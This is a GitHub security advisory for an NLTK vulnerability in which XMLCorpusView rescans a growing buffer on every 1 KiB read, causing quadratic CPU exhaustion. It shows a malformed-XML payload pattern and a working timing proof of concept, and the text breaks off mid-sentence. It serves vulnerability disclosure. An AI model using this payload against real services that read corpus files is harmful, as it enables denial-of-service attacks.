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NLTKGHSA-vp2x-qp44-57v7

NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

Medium3.7CVE-2026-81723 · Published Sep 2, 2026 · updated Sep 10, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
nltk
PyPI
< 3.10.33.10.3
Details and references

## Summary `XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending each block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)` on the full accumulated buffer every iteration. Because each iteration rescans the entire accumulated fragment, the total amount of work grows quadratically with input size. Commit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior is separate: the loop calls `match()` once per 1 KiB block, each time on a longer buffer. On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds through the public `BNCCorpusReader.words()` API with no source modification. Absolute timings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or iteration count. ## Details **File:** `nltk/corpus/reader/xmldocs.py` **Function:** `XMLCorpusView._read_xml_fragment()`, lines 261–308 The relevant loop: ```python fragment = "" while True: fragment += stream.read(self._BLOCK_SIZE) # grows by 1 KiB per iteration if self._VALID_XML_RE.match(fragment): # rescans full buffer each time return fragment ... last_open_bracket = fragment.rfind("<") if last_open_bracket > 0: # False for single-'<' payload if self._VALID_XML_RE.match(fragment[:last_open_bracket]): return ... # loop continues ``` For a payload of `b'<' + b'a' * (N-1)`: - For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because the unterminated tag prevents the expression from matching before EOF. - `fragment.rfind("<")` returns `0`; the guard `last_open_bracket > 0` is `False`, so the backtrack branch is never taken. - The only exit is EOF, after all N bytes are consumed. **Affected readers** -> readers that rely on `XMLCorpusView`, including `BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`, `NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct `XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -> it calls `defusedxml.safe_parse()`. ## PoC Requires only `pip install nltk`. No corpus data needed. ```python from pathlib import Path from tempfile import TemporaryDirectory from time import perf_counter from nltk.corpus.reader.bnc import BNCCorpusReader SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192) results = [] with TemporaryDirectory() as directory: root = Path(directory) malformed = root / "unterminated.xml" for kib in SIZES_KIB: malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1)) t = perf_counter() try: list(BNCCorpusReader(str(root), [malformed.name]).words()) except ValueError as e: assert "tag not closed" in str(e) results.append(perf_counter() - t) print("KiB seconds growth") for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)): ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x" print(f"{kib:5d} {elapsed:9.3f} {ratio}") ``` Runtime should increase by approximately fourfold for each doubling of input size, although absolute timings vary by hardware. During verification, `_VALID_XML_RE.match()` was instrumented to record the size of each input. For a 256 KiB malformed file it was invoked 257 times on monotonically increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after EOF. This confirms that every iteration rescans the accumulated fragment. ## Impact Applications that process attacker-controlled XML corpus files through an affected reader are vulnerable. The attacker needs only write access to a path the reader will open. No NLTK credentials or special privileges required. Offline tools reading only trusted local corpora are not at risk. **Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch. Historical inspection indicates the same loop structure has existed sinc

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Severity from
GitHub (reviewed advisory)
Weakness
CWE-400, CWE-407
Also known as
CVE-2026-81723, PYSEC-2026-3871

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